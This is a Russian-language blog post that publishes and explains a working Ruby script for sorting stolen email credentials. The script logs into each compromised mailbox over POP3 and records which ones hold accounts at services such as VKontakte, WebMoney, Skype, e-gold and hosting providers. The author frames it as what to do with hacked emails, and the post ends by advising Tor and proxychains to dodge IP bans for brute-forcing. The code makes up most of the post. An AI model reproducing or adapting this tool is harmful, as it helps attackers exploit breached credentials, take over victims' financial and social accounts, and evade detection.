сканирование e-mail’ов на аккаунты различных сервисов

В общем зашел разговор о том что делать с вагоном e-mail’ов после того как вы их взломали добыли. Речь там шла про то как отсортировать эти почты по наличию определенных аккаунтов ( сам разговор ). А я как раз чуть больше года назад писал скрипт для этих целей. Собственно тут я его выложу и вкратце расскажу как он работает.

суть вкратце

Читаем поочередно из файла логины и пароли от почт, после чего заходим на них по POP3.

Далее проходимся по всем сообщениям и если это сообщение от нужного нам адреса, например Вконтакте.Ру (admin@vkontakte.ru), то добавляем этот логин в нужный список, удаляем из массива этого адресата и идем по его сообщениям дальше. Сканирование одной почты продолжается до тех пор пока не кончатся все адресаты или не закончатся сообщения в почте. Далее берем следующий e-mail.

скрипт

Скрипт написан на Ruby и работает как на версии 1.8, так и на 1.9. Пробовал его только на Linux, но подозреваю, что на Windows он тоже будет прекрасно работать.

получение параметров и начальная настройка

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/ruby
require 'net/pop'
 
if ARGV.size!=3
  puts "<infile> <logfile> <start no>"
  exit
end
 
$infile,$logfile,$start_no=ARGV
$start_no=$start_no.to_i
 
$service=['torrents.ru','tfile.ru','skype.com',
  'ozon.ru','odnoklassniki.ru','smartpay.com.ua',
  'vkontakte.ru', 'webmoney.ru','moneybookers.com',
  'e-gold.com','e-port.ru','agava.ru',
  'hoster.ru','dinohost.ru','eskhosting.ru',
  'infobox.ru','zemskov.ru','art-host.ru']

Итак, скрипт получает в командной строке 3 параметра:

  1. файл, содержащий почты и пароли от них в формате mail@example.ru:passwd, причем каждая почта на новой строке
  2. файл лога, сюда будут записываться все почты, к которым не удалось авторизоваться  и другие ошибки
  3. номер почты в $infile, с которой нужно начать работу. Нумерация с нуля.

Далее идет массив, содержащий сервисы на которые будут сканироваться аккаунты почт. Смысл здесь в домене т.е. сюда нужно добавлять домены с которых высылаются e-mail’ы этих сервисов.

некоторые неключевые функции

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def exist(str,file)
  outf=File.open(file,'a')
  outf.puts "#{Time.now}: #{str}"
  outf.close
end
 
def log(text,file)
  logf=File.open(file,'a')
  logf.puts "#{Time.now}: #{text}"
  logf.close
  puts "#{Time.now}: #{text}"
end
 
def check_letter(head,service)
  service.each_with_index {|se,i| return i if head.include?(se)}
  return -1
end

Немного объясню функции:

  • exist – записывает аккаунт почты в файл одноименный с доменом сервиса, в случае если почта зарегистрирована в этом сервисе
  • log – записывает сообщение в файл лога
  • check_letter – проверяет заголовок письма на наличие домена сервиса, обходя массив сервисов. В случае если письмо отправлено от нужного домена возвращает индекс этого домена в массиве, в противном случае возвращает -1.

функция сканирования почты

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
def check(mail,pass,service)
    # разбиваем почтовый адрес @, на логин и домен
    login,pop_server=mail.split('@')
    pop_server='pop.'+pop_server
    count_reg=0
 
    begin
        pop=Net::POP3.new(pop_server)
    rescue => e
        return -2
    end#begin
 
    # соединяемся с POP3-сервером
    begin
        pop.start(login,pass)
    rescue => e
      return -1
    end#begin
 
    begin
    # обходим письма в почте
    pop.mails.each do |msg|
        hed=msg.header
        STDOUT.flush
 
        if (si=check_letter(hed,service))>=0
	  print '!' ###
          exist("#{mail}/#{pass}",service[si])
          # удаляем сервис из экземпляра
          # индивидуального массива сервисов
          # для данной почты
          service.delete_at(si)
          count_reg+=1
          if service.size==0
            pop.finish
            return count_reg
          end#if
 
        else
	   print '.'
	end#if
 
    end#each
    rescue EOFError
      pop.finish
      return -4
    rescue Timeout::Error
      pop.finish
      return -3
    rescue Net::POPError
      pop.finish
      return -5
    end#begin
 
    pop.finish
    return count_reg
end#def

Тут следует кое-что учесть. Эта функция в самом своем начале разбивает e-mail адрес на логин @ домен, после чего адрес POP3-сервера получается из суммы ‘pop.’+домен.
Такая схема работает для бесплатных обывательских почт типа: mail.ru, rambler.ru, yandex.ru, hotmail.com итд. Однако, если почта не от популярных сервисов бесплатных почт, то адрес POP3-сервера может быть какой угодно.
Также нужно знать, если домен настроен, например, в услуге Яндекса ‘Почта для домена’, то логин будет равен адресу почты целиком, а не только его первая часть до собаки (@).

обход исходного файла

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
inf=File.open($infile,'r')
i=0
# крутим файл до заданной начальной строки
while(i<$start_no) do
  str=inf.gets
  i+=1
end
 
# построчно обходим файл
while !inf.eof do
  str=inf.gets.chop!
  print "#{i})#{str} checking..." ###
  STDOUT.flush
  ret=check(str.split(":")[0],str.split(":")[1],$service).to_i
  case ret
    when -3
      log("Unknow time is out #{str}",$logfile)
    when -2
      log("Can't connect to the server #{str}",$logfile)
    when -1
      log("Can't auth #{str}",$logfile)
    when 0
      puts "FAIL #{str}"
    else
      puts "#{Time.now}: #{str} SUCCESS #{ret}"
  end
  i+=1
end
inf.close

Ну тут все просто и примитивно.

заключение

Следует помнить, что доступ по POP3 вообще может быть отключен у почты, в этом случае почта будет добавлен в лог, как имеющая не верный пароль. Помимо этого если в списке много раз будет не проходить авторизация, то тот или иной POP3-сервер может забанить ваш IP за брутфорс, чтобы такого не было рекомендую запускать скрипт через известную связку TOR-Privoxy-Proxychains.

Целиком скрипт можно скачать тут - check_mail_for_diff_accs.rb.

No Comments.

Leave a Reply

(обязательно)

(обязательно)